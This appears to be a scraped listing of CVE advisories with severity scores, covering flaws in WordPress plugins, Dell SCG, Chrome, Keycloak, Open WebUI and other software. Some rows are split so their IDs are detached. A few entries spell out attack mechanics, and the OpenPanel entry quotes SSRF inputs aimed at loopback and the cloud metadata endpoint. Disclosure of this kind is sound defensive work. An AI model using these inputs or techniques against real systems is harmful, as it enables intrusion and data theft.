CVE-2026-80174	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insufficient Session Expiration vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to session theft.	5.3	More Details
CVE-2026-87518	Observable discrepancy in Safebrowsing in Google Chrome on on iOS prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)	5.3	More Details
CVE-2026-54048	Specifying tblproperties('avro.schema.url'=' http://...') or with a 'file:///' URI on a table in Impala 2.0.0 to 4.5.1 on all platforms allows an attacker to trigger a GET request to internal endpoints they may not have access to but that Impala does and the response my be exposed via parsing error messages. Users are recommended to upgrade to version 4.5.2, which fixes this issue.	5.3	More Details
CVE-2026-86777	AlchemyCMS versions before 7.4.16 and 8.x before 8.3.6 fail to authorize access to the GET /api/nodes endpoint, allowing unauthenticated attackers to retrieve all navigation nodes. Attackers can access the endpoint without authentication to disclose restricted page names, URL paths, and internal URLs from all sites and languages.	5.3	More Details
CVE-2026-90565	A security flaw has been discovered in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. Affected is an unknown function of the file dashboard.php. Performing a manipulation of the argument userid results in improper access controls. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.	5.3	More Details
CVE-2026-19733	Server-Side request forgery (SSRF) vulnerability in Yordam Informatics Technology Consulting, Training, and Electronic Systems Industry and Trade Inc. Library Information and Document Automation Program allows Server Side Request Forgery. This issue affects Library Information and Document Automation Program: before v22.2.	5.3	More Details
CVE-2026-73789	A vulnerability in the web-based management interface of CPPM guest account management services could allow an unauthenticated remote attacker to manipulate account settings. Successful exploitation could allow an attacker to extend network access beyond policy limits, leading to unauthorized prolonged use of network resources.	5.3	More Details
CVE-2026-80339	The Payment Plugins for Stripe WooCommerce WordPress plugin before 4.0.12 does not validate the order key before adding order data to the JavaScript configuration it outputs on the front end, allowing unauthenticated users to obtain the billing details of any order, together with the secret that gates access to it, by iterating sequential order identifiers.	5.3	More Details
CVE-2026-77773	The Contact Form to Chat Apps | Click to Chat to Order WordPress plugin before 2.15.8 does not perform any capability, nonce or session check on one of its public AJAX actions, allowing unauthenticated users to read the submitted entries of any form created with a supported third-party form Contact Form to Chat Apps | Click to Chat to Order WordPress plugin before 2.15.8.	5.3	More Details
CVE-2026-	The WP Travel WordPress plugin before 12.0.2 does not verify that the requester is authorized to act on the booking targeted by one of its front-end payment-message handlers, allowing unauthenticated attackers to	5.3	More Details

18042	cancel the payment on any customer's booking.		
CVE-2026-90578	A flaw has been found in GPAC up to f1219cde. Affected by this issue is the function gf_list_count of the file utils/list.c of the component MP4Box. Executing a manipulation can lead to use after free. The attack is restricted to local execution. The exploit has been published and may be used. Upgrading to version abi-16.23 can resolve this issue. This patch is called 49dee5cad329cfed310c1682703df7daa47df31a. It is suggested to upgrade the affected component.	5.3	More Details
CVE-2026-11355	The DT LMS – elearning, WordPress LMS plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on multiple AJAX handlers (including dtlms_save_poc_settings, dtlms_save_skin_settings, and dtlms_save_options_settings) in versions up to, and including, 1.1. These handlers are registered on the wp_ajax_nopriv_* hook and contain no capability check, no nonce verification, and pass user-supplied data directly to update_option(). This makes it possible for unauthenticated attackers to overwrite arbitrary plugin option values stored in the wp_options table, including Point-of-Contact email configuration and skin/branding settings, which can be used to alter the appearance and behavior of the LMS for all site visitors.	5.3	More Details
CVE-2026-87892	The Rox Appointment Booking WordPress plugin before 1.2.0 does not verify the order total or the selected payment method against its own server-side pricing when creating a booking, allowing unauthenticated attackers to create confirmed bookings at an arbitrary price and to bypass the site's configured payment-method restrictions.	5.3	More Details
CVE-2026-87918	The WPBot WordPress plugin before 8.5.7 does not perform any authorization or nonce check on several AJAX actions that relay prompts to its configured AI providers, allowing unauthenticated attackers to make those third-party API calls, and consume the associated cost, using the site's own configured API keys.	5.3	More Details
CVE-2026-87916	The WPBot WordPress plugin before 8.6.0 does not perform any capability or nonce check on the AJAX action that lists stored chat sessions, allowing unauthenticated attackers to retrieve the name, email address and phone number of every chat visitor by requesting a wide date range.	5.3	More Details
CVE-2026-90577	A vulnerability was detected in GPAC up to f1219cde. Affected by this vulnerability is the function gf_node_get_field of the file scenegraph/base_scenegraph.c of the component MP4Box. Performing a manipulation results in heap-based buffer overflow. The attack is only possible with local access. The exploit is now public and may be used. Upgrading to version abi-16.23 addresses this issue. The patch is named 49dee5cad329cfed310c1682703df7daa47df31a. The affected component should be upgraded.	5.3	More Details
CVE-2026-9667	IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to server-side request forgery (SSRF) that could allow a remote, unauthenticated attacker to cause the server to send outbound requests to arbitrary endpoints.	5.3	More Details
CVE-2026-79689	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to script injection.	5.3	More Details
CVE-2026-87820	CyberPanel versions 2.4.3 through 2.4.5 expose unauthenticated AI Scanner debugging endpoints that disclose administrator usernames, API-key prefixes, scan identifiers, target domains, and account metadata. Unauthenticated attackers can enumerate panel administrators and recent scanner activity to inventory multi-tenant installations and facilitate follow-on attacks.	5.3	More Details
CVE-2026-77689	The Booking for Appointments and Events Calendar WordPress plugin before 9.8.1 does not verify that a payment was actually taken before recording a booking as paid, trusting the payment gateway named in a public, unauthenticated booking request even when the site has never configured that gateway. This lets an unauthenticated attacker obtain confirmed, fully paid appointments and events without any payment being collected.	5.3	More Details
CVE-2026-12215	The OTP Login & Register Woocommerce plugin for WordPress is vulnerable to Authentication Bypass via OTP Brute Force in all versions up to, and including, 2.7.2. The vulnerability exists because the OTP rate-limit attempt counter in `process_otp_form` is keyed exclusively on the attacker-controlled `xoo_ml_user_ip_data` cookie's `ip_address` field, allowing unlimited counter resets by simply rotating the cookie, while the OTP itself is generated with PHP's non-cryptographic `rand()` function over a default space of only 9,000 possible values (1000–9999), and both the OTP issuance endpoint (`xoo_ml_login_with_otp`) and verification endpoint (`xoo_ml_otp_form_submit`) are registered as unauthenticated `wp_ajax_nopriv` actions with no nonce or capability checks. This makes it possible for unauthenticated attackers to brute-force the OTP for any registered account and obtain a full WordPress authentication session — including for administrator accounts — via `wp_set_auth_cookie()` in `login_user_with_otp()`. Exploitation requires the attacker to know the target user's registered phone number, which is used to trigger OTP issuance via the unauthenticated `xoo_ml_login_with_otp` endpoint.	5.3	More Details
CVE-2026-62137	Unauthenticated Sensitive Data Exposure in bbPress <= 2.6.14 versions.	5.3	More Details

CVE-2026-62136	Unauthenticated Broken Access Control in Flexible Quantity – Measurement Price Calculator for WooCommerce <= 2.3.21 versions.	5.3	More Details
CVE-2026-62135	Unauthenticated Broken Access Control in Booktics <= 1.0.24 versions.	5.3	More Details
CVE-2026-82530	IP2Location Country Blocker plugin for WordPress before 2.45.0 contains an access control bypass vulnerability that allows unauthenticated remote attackers to circumvent IP-based restrictions by forging the X-Real-IP HTTP header. Attackers can set the X-Real-IP header to an allowlisted IP address to bypass page, link, or site-wide access restrictions and access otherwise-blocked resources.	5.3	More Details
CVE-2026-62132	Subscriber Broken Access Control in Masteriyo - LMS <= 3.4.0 versions.	5.3	More Details
CVE-2026-62114	Unauthenticated Broken Access Control in Passster <= 4.3.13 versions.	5.3	More Details
CVE-2026-82184	The WPLP Cookie Consent WordPress plugin before 4.4.2 does not have any authorisation or CSRF checks when storing visitor consent state, and the code that does so runs on every front-end page load, allowing unauthenticated attackers to overwrite a site-wide option with arbitrary data.	5.3	More Details
CVE-2026-90536	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to authorize access to the adsInfo API endpoint, allowing unauthenticated attackers to retrieve password-protected video owner identifiers. Attackers can call the adsInfo API with a videos_id parameter to obtain the owner's user ID and personalized ad creative URLs without authentication or permission checks.	5.3	More Details
CVE-2026-79965	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an External Control of Critical State Data vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.	5.3	More Details
CVE-2026-79962	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to denial of service.	5.3	More Details
CVE-2026-79961	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.	5.3	More Details
CVE-2026-90517	A vulnerability was identified in PHPGurukul Bank Locker Management System 1.0. This affects an unknown function of the file /blms/view-assign-locker.php. The manipulation of the argument ltid leads to authorization bypass. The attack may be initiated remotely. The exploit is publicly available and might be used.	5.3	More Details
CVE-2026-11446	The Booktics – Booking Calendar for Appointments and Service Businesses plugin for WordPress is vulnerable to unauthorized modification of data in all versions up to, and including, 1.0.23. This is due to the create_order_permission() permission callback on the POST /wp-json/booktics/v1/orders REST route unconditionally returning true, combined with find_and_update_guest() overwriting an existing customer record's stored name, phone, and wp_user_id whenever the caller-supplied email matches, with no proof of ownership. This makes it possible for unauthenticated attackers to overwrite the contact details (name and phone) of any existing customer whose email address they know, poisoning downstream reminder emails, SMS, calendar invites, and CRM data.	5.3	More Details
CVE-2026-81022	The SupportCandy WordPress plugin before 3.5.3 does not validate a submitted per-ticket authorization code before disclosing the real code to the requester, allowing unauthenticated users to read the contents of any support ticket.	5.3	More Details
CVE-2026-79638	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Alternate XSS Syntax vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to script injection.	5.3	More Details
CVE-2026-62088	Insertion of Sensitive Information Into Sent Data vulnerability in 10up ElasticPress allows Retrieve Embedded Sensitive Data. This issue affects ElasticPress: from n/a through 5.3.4.	5.3	More Details
CVE-2026-27378	Unauthenticated Broken Access Control in Deposits and Partial Payments for WooCommerce <= 3.1.0 versions.	5.3	More Details
CVE-	msgpack-java through 0.9.12 contains a stack overflow vulnerability in MessageUnpacker.unpackValue() that		

2026-90472	recursively deserializes arrays and maps without nesting depth limits. Attackers can craft payloads with deeply nested arrays to exhaust the deserializing thread's stack and trigger StackOverflowError, causing per-request deserialization failures.	5.3	More Details
CVE-2026-90473	msgpack-java through 0.9.12 contains an integer overflow vulnerability in MessageUnpacker.skipValue() when processing MAP32 containers with large element counts. Attackers can supply a MAP32 element count at or above 0x40000000 that wraps when doubled, causing the parser cursor to desynchronize and attacker-controlled data to be returned in place of later fields.	5.3	More Details
CVE-2026-9338	IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to a denial of service, caused by sending a specially-crafted request. A remote attacker could exploit this vulnerability to trigger excessive resource consumption, potentially leading to reduced availability of the affected service.	5.3	More Details
CVE-2026-85544	There is an Improper Encryption Configuration Vulnerability in some Hikvision Intercom Products. This could allow attackers to forge M1 cards.	5.2	More Details
CVE-2026-79723	IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to obtain sensitive information due to improper validation of user-controlled API endpoints.	5.0	More Details
CVE-2020-15875	An issue was discovered in LibreNMS 1.65. A remote authenticated attacker with normal privileges can extract all the information from the LibreNMS database via a SQL injection in the searchPhrase parameter in the /ajax_table.php API endpoint. This affects as-selection.inc.php, edit-ports.inc.php, alertlog-stats.inc.php, alerts.inc.php, eventlog.inc.php, inventory.inc.php, ix-list.inc.php, ix-peers.inc.php, mempool-edit.inc.php, mempool.inc.php, poll-log.inc.php, processor-edit.inc.php, processor.inc.php, routing-edit.inc.php, sensors-common.inc.php, storage-edit.inc.php, storage.inc.php, and toner.inc.php (in includes/html/table). NOTE: some sources refer to this as CVE-2020-15876, but CVE-2020-15875 is the only correct CVE ID.	5.0	More Details
CVE-2026-90505	A vulnerability was found in vvbbnn00 WARP-Clash-API up to c7bf2360073959861219b422e51ae86411051b46. This affects the function doUpdateLicenseKey. The manipulation results in race condition. The attack can be launched remotely. The attack requires a high level of complexity. The exploitability is reported as difficult. The exploit has been made public and could be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.	5.0	More Details
CVE-2026-88001	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.5 until 0.11.1, server-side web fetches did not reapply WEB_FETCH_FILTER_LIST or private-address controls to HTTP redirect destinations when AIOHTTP_CLIENT_ALLOW_REDIRECTS was enabled. An authenticated user could redirect the aiohttp and requests fetch paths to excluded hosts, loopback, private networks, or cloud metadata services and route resulting content into web search, URL ingestion, page-fetch tools, or chat image processing. This issue is fixed in version 0.11.1.	5.0	More Details
CVE-2026-86743	Snipe-IT versions before 8.7.0 fail to properly scope asset acceptance report queries by company, allowing authenticated reports.view users to read pending acceptances across all companies. Attackers can access the unaccepted_assets report page or CSV export to disclose cross-company inventory details and assignee names without per-row access validation.	5.0	More Details
CVE-2026-88892	OpenPanel is an analytics platform. In all versions (no patched release available at time of publication), the data importer fetches a caller-supplied URL with plain fetch instead of the project's existing SSRF guard (apps/api/src/utils/safe-fetch.ts). In packages/importer/src/providers/umami.ts, parseRemoteFile calls fetch() on config.fileUrl, which is validated only by z.string().url(), so values such as http://127.0.0.1:9911/ or http://169.254.169.254/latest/meta-data/ are accepted; the shared createFileImportConfig factory gives the plausible provider the same field. An authenticated organization member — including a default 'member' with no project_access rows, for whom the intended access-level check is skipped because getProjectAccess returns boolean true rather than a level object — can therefore make the server connect to any address reachable from it. The resulting HTTP status and status text are persisted as Import.errorMessage and returned by import.get to the same user, providing a scanning oracle for internal hosts, ports and paths; if an internal response parses as Umami CSV, its rows are ingested as events and become readable in the attacker's analytics views.	5.0	More Details
CVE-2026-86767	Snipe-IT versions before 8.7.0 fail to apply company scope filtering to the GET /hardware/requested endpoint when Full Multiple Company Support is enabled, allowing authenticated users with assets.view permission to read pending asset requests from all companies. Attackers can retrieve cross-tenant data including requested asset names, requester display names and profile links, locations, and expected check-in dates without parameter manipulation.	5.0	More Details
CVE-	A vulnerability was determined in vvbbnn00 WARP-Clash-API up to c7bf2360073959861219b422e51ae86411051b46. This impacts an unknown function of the component Save Account Job. This manipulation causes race condition. The attack may be initiated remotely. The attack's complexity is rated as high. The exploitability is said to be difficult. The exploit has been publicly disclosed		More

2026-90506	and may be utilized. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.	5.0	Details
CVE-2026-88281	GeoVision GV-LPC2211 V1.13 fails to limit repeated Username elements in ONVIF DeleteUsers requests, allowing an authenticated administrator to overflow a stack array and crash the ONVIF worker.	4.9	More Details
CVE-2026-88279	GeoVision GV-LPC2211 V1.13 copies oversized ONVIF CreateUsers username or password values into fixed stack fields, allowing an authenticated administrator to crash the ONVIF worker.	4.9	More Details
CVE-2026-88283	GeoVision GV-LPC2211 V1.13 fails to limit repeated User elements in ONVIF CreateUsers requests, allowing an authenticated administrator to overwrite stack control state and crash the ONVIF worker.	4.9	More Details
CVE-2026-18386	The WP BackItUp Community Edition plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.1.0 via the 'backup_file' parameter parameter. This makes it possible for authenticated attackers, with administrator-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information. The basename() normalization present in the handler only executes when the traversed target path does not exist, providing no protection against reads of existing files.	4.9	More Details
CVE-2026-88280	GeoVision GV-LPC2211 V1.13 copies an oversized ONVIF SetUser password into a fixed stack field, allowing an authenticated administrator to crash the ONVIF worker.	4.9	More Details
CVE-2026-88284	GeoVision GV-LPC2211 V1.13 fails to limit repeated User elements in ONVIF SetUser requests, allowing an authenticated administrator to overwrite stack control state and crash the ONVIF worker.	4.9	More Details
CVE-2026-89298	A flaw was found in the Dynamic Client Registration service of Keycloak, an open-source identity and access management solution. The issue occurs when a user with the view-clients role accesses the client registration endpoint to retrieve client details. Due to a failure to mask sensitive information, the service returns the client's confidential secret in cleartext. This could allow a read-only administrator to obtain full access to the affected client's account and potentially escalate their privileges within the realm.	4.9	More Details
CVE-2026-87919	The Product XML Feed Manager for WooCommerce WordPress plugin before 3.1.1 does not restrict which object method its product shortcode may call, nor check the user's capability over the targeted product, allowing users with contributor-level access to delete arbitrary WooCommerce products by previewing a post that contains the shortcode.	4.9	More Details
CVE-2026-87808	SiYuan versions <= 3.8.1 contain an incomplete fix for CVE-2026-32767 (GHSA-j7wh-x834-p3r7). The prior fix (commit d5e2d0bc) added an administrator check for SQL mode (method=2) in POST /api/search/fullTextSearchBlock, but the endpoint still does not enforce the application's read-only boundary: for method=2 it forwards caller-supplied SQL to the blocks database query path without calling model.CheckReadonly or CheckReadonlyStatementInBox. As a result, when a workspace runs in read-only mode (--readonly=true), an authenticated administrator can submit arbitrary SQL through /api/search/fullTextSearchBlock and obtain raw read access to the blocks database, even though the dedicated /api/query/sql endpoint is blocked in that mode. Fixed in v3.8.2.	4.9	More Details
CVE-2026-87747	The Enterprise Cloud Database developed by Ragic has an Arbitrary File Read vulnerability. Privileged remote attackers can exploit Relative Path Traversal to download arbitrary system files.	4.9	More Details
CVE-2026-19800	The Mail Mint – Email Marketing, Newsletter, Email Automation & WooCommerce Emails plugin for WordPress is vulnerable to SQL Injection via the 'status' parameter in all versions up to, and including, 1.31.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. The $wpdb->prepare() call does not protect against this injection because the attacker-controlled $contact_filter_query fragment is concatenated into the SQL format string before prepare() executes — prepare() only processes %s/%d placeholders and cannot sanitize content already embedded in the format string. REST API JSON bodies are parsed from php://input and bypass WordPress's wp_magic_quotes(), meaning double-quote characters in status array values reach the SQL sink unescaped. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The required 'mint_read_contacts' capability is a plugin-specific capability not assigned to any default WordPress role; it must be explicitly granted by an administrator, making this effectively an Administrator+ vulnerability.	4.9	More Details
	The WP Crowdfunding plugin for WordPress is vulnerable to generic SQL Injection via 'wpneo_reward' Post Meta in all versions up to, and including, 2.2.1 due to insufficient escaping on the user supplied parameter		

CVE-2026-19944	and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with shop manager-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is a second-order injection: a Shop Manager writes the malicious payload once via the WooCommerce REST products endpoint (POST/PUT /wp-json/wc/v3/products/{id}), and the injected query executes on every subsequent public page view that renders the campaign rewards sidebar.	4.9	More Details
CVE-2026-19729	A flaw was found in the key provider component of the keycloak-services library, which is the core engine for the Red Hat Build of Keycloak. The issue occurs because a previous fix for path probing was incomplete, allowing a realm administrator to still submit arbitrary filesystem paths as keystore parameters. This can be used to determine the existence and readability of files on the server, potentially exposing sensitive system information.	4.9	More Details
CVE-2026-45057	matrix-sdk-ui provides GUI-centric utilities on top of matrix-rust-sdk. The message edit validation logic in the `matrix-sdk-ui` crate prior to 0.17.0 is missing a check: when replacing an encrypted event, the replacement event itself is not required to be encrypted. This enables a malicious homeserver administrators (or actors with equivalent power) to impersonate or spoof messages as if they were sent by a victim user. `matrix-sdk-ui` 0.17.0 fixes the message edit validation logic to align with the algorithm for replacement events[^1] described in the Matrix specification. No known workarounds are available.	4.9	More Details
CVE-2026-80440	The Hustle WordPress plugin before 7.8.14.2 does not prevent shortcodes in submitted form values from being executed when it substitutes those values into the message it returns after submission, because the guard it applies can be defeated by nesting, allowing unauthenticated users to run any shortcode registered on the site.	4.8	More Details
CVE-2026-49309	Permission control vulnerability in the Settings module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.	4.8	More Details
CVE-2026-86813	The MetForm WordPress plugin before 4.1.9 does not properly neutralize newline characters in user-submitted values that are placed into notification email headers, allowing unauthenticated attackers to inject additional email headers, such as Bcc, into the emails the site sends when a submitted field value is configured to populate a header.	4.8	More Details
CVE-2026-88790	A security vulnerability has been detected in proma-ai Proma up to 0.19.37. Affected is the function resolveTargetPath of the file apps/electron/src/main/lib/file-preview-service.ts of the component File Preview Service. Such manipulation of the argument file_path leads to path traversal. Local access is required to approach this attack. The exploit has been disclosed publicly and may be used. Upgrading to version 0.19.52 is able to address this issue. The name of the patch is b7bf78ab74b1552c92fc98c7db9a8a8d92c631df. It is suggested to upgrade the affected component. The PoC's candidateBasePaths parameter name does not match the current IPC API (0.19.52 uses FileAccessOptions with internal getPreviewCandidateBasePaths()). The reporter likely targeted 0.16.3 where the IPC handler accepted raw string[] base paths. The core vulnerability - basename-collision fallback - is independent of the parameter name and is confirmed in source.	4.8	More Details
CVE-2026-87463	Incorrect authorization in Certificate in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to potentially spoof address bar via crafted network traffic. (Chromium security severity: Low)	4.8	More Details
CVE-2026-87597	UI misrepresentation in CustomTabs in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to spoof address bar via a co-installed app. (Chromium security severity: Low)	4.8	More Details
CVE-2026-88038	cookies is a Node.js library for reading and writing HTTP cookies, used by Koa via ctx.cookies. In versions before 0.9.2 the library validates the cookie name and value against character sets that reject the semicolon separator, but the domain and path options are checked only against a permissive RFC 7230 field-content matcher that allows semicolons, and both are written into the Set-Cookie header unescaped. An application that passes untrusted or request-derived data into the domain or path option can therefore inject additional cookie attributes, overriding SameSite, Secure, HttpOnly, or Domain on the cookies the application issues. This is a Set-Cookie attribute injection issue (CWE-74). The issue is fixed in cookies 0.9.2, which validates domain and path against RFC 6265 character sets. As a workaround, keep domain and path application-set rather than derived from untrusted input.	4.8	More Details
CVE-2026-87602	Out of bounds read in ANGLE in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker to potentially read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Low)	4.7	More Details
CVE-2026-80072	The User Registration & Membership WordPress plugin before 5.2.8 does not validate the destination of a post-login redirect before redirecting, allowing unauthenticated attackers to redirect visitors to an arbitrary external URL, which can be abused for phishing.	4.7	More Details
	A vulnerability was determined in davenardella snap7 up to 1.4.3. The affected element is the function		

CVE-2026-90572	TSnap7MicroClient::opUpload of the file src/core/s7_micro_client.cpp. Executing a manipulation of the argument DataLen can lead to memory corruption. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.	4.7	More Details
CVE-2026-88035	A size check in the client-side authentication path of the MongoDB C Driver can wrap around, so an unusually large user-name value is accepted and copied past the end of a small buffer. A party able to set the driver's connection settings may cause the application that embeds the driver to terminate unexpectedly. Reaching this code requires a build in which the optional external SASL authentication backend is present and a connection configured to use it.	4.7	More Details
CVE-2026-87555	Uninitialized resource in GPU in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	4.7	More Details
CVE-2026-90496	A vulnerability was found in Fengoffice Feng Office up to 3.11.13.11. Affected is the function update_system_module_order/update_dimension_order of the file application/controllers/MoreController.class.php of the component Reorder Handlers. Performing a manipulation of the argument modules/dims results in sql injection. The attack may be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.	4.7	More Details
CVE-2026-3096	The product's web portals allow external links to be opened in a new browser tab. In certain configurations, the originating window retains access to the newly opened page, allowing interaction between the two browser contexts when navigating to external destinations. This vulnerability could allow an attacker to manipulate the original trusted application window after a user clicks a malicious external link. This manipulation can lead to users being redirected to phishing pages, enabling credential theft, or facilitating other unauthorized actions within the context of the trusted site.	4.7	More Details
CVE-2026-80171	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insufficient Entropy in PRNG vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to elevation of privileges.	4.7	More Details
CVE-2026-81741	The Groundhogg — CRM, Newsletters, and Marketing Automation WordPress plugin before 4.7.2 does not restrict the redirect target of its email preference confirmation flow to the site's own host, allowing unauthenticated attackers to redirect visitors to an arbitrary external URL by way of a crafted link.	4.7	More Details
CVE-2026-80055	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to script injection.	4.4	More Details
CVE-2026-81049	Dell ThinOS 10, versions prior to 2605_10.2616, contain a Missing Support for Integrity Check vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to arbitrary code execution.	4.4	More Details
CVE-2026-88914	A flaw was found in GStreamer's gst-plugins-good isomp4 plugin. When processing a specially crafted MP4 or MOV file containing CEA-608 closed-caption data, an integer overflow in 32-bit unsigned arithmetic can bypass a bounds check in the caption parser. This leads to an out-of-bounds heap read of up to 244 bytes, which is then included in the downstream caption output. An attacker could exploit this by tricking a user into opening a malicious media file, potentially resulting in disclosure of adjacent heap memory or application crash.	4.4	More Details
CVE-2026-79735	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Cryptographic Key vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information disclosure.	4.4	More Details
CVE-2026-45767	Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, a malicious rule could potentially overwrite any file on the file system on rule load or reload. Versions 7.0.16 and 8.0.5 fix the issue. Some workarounds are available. Preprocess `load`+ `save` rules to disallow absolute filenames for save, use Suricata's privilege dropping to limit writable files, and/or configure landlock in suricata.yaml.	4.4	More Details
CVE-2026-78486	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Cryptographic Key vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.	4.4	More Details
CVE-2026-79731	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Credentials vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information exposure.	4.4	More Details
CVE-	alsa-lib through 1.2.16.1 contains a stack buffer overflow in the __snd_ctl_ascii_elem_id_parse() function that writes one byte past a 64-byte buffer when parsing a name= field with 64 or more characters. Attackers can		More

2026-90781	supply a long control-element identifier string through saved state files or command-line arguments to overwrite adjacent stack memory and crash the calling process.	4.4	Details
CVE-2026-87461	Information leak in Core in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to leak cross-origin data via a crafted Chrome extension. (Chromium security severity: Low)	4.3	More Details
CVE-2026-87923	A weakness has been identified in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. Affected by this issue is some unknown functionality of the file includes/DBOperation.php of the component List Handler. This manipulation of the argument category_name/brand_name/product_name causes cross site scripting. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.	4.3	More Details
CVE-2026-61907	An issue was discovered in Cyrus IMAP before 3.12.4. JMAP snooze bypasses the destination-mailbox ACL. An authenticated user with insert permissions on another user's snoozed mailbox could cause insertion of mail to that user's inbox, or any other of their mailboxes whose id was known to the user, despite having no insert permissions to the target mailbox.	4.3	More Details
CVE-2026-87997	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.10.0 until 0.11.1, POST /api/chat/completions and POST /api/v1/chat/completions in backend/open_webui/main.py copied a client-supplied folder_id into a new chat without applying the folder write-access check used by the dedicated chat routes. An authenticated user who knew a shared folder identifier could inject an attacker-controlled chat into a folder where the user had read-only or no write access, causing the entry to appear to authorized folder readers. This issue is fixed in version 0.11.1.	4.3	More Details
CVE-2026-87736	An issue was discovered in the mirage-crypto-ec package before 2.3.0 for OCaml. There is an EC public key out-of-bounds read for compressed points.	4.3	More Details
CVE-2026-87735	An issue was discovered in the mirage-crypto-pk package before 2.3.0 for OCaml. There is an undocumented exception for a small message during RSA decryption or encryption.	4.3	More Details
CVE-2026-14566	The advanced-customized-prompts WordPress plugin through 1.0.1 does not perform any capability, ownership, or nonce check before updating WooCommerce order item metadata for a supplied order, allowing any authenticated user such as a subscriber to tamper with the custom metadata of orders belonging to other customers.	4.3	More Details
CVE-2026-87508	Incorrect authorization in Loader in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)	4.3	More Details
CVE-2026-87511	Missing authorization in DevTools in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain cross-origin data via a crafted Chrome extension. (Chromium security severity: Low)	4.3	More Details
CVE-2026-11838	Missing authentication for critical function vulnerability in Yordam Informatics Technology Consulting, Training, and Electronic Systems Industry and Trade Inc. Library Reservation System allows Input Data Manipulation. This issue affects Library Reservation System: before v22.2.	4.3	More Details
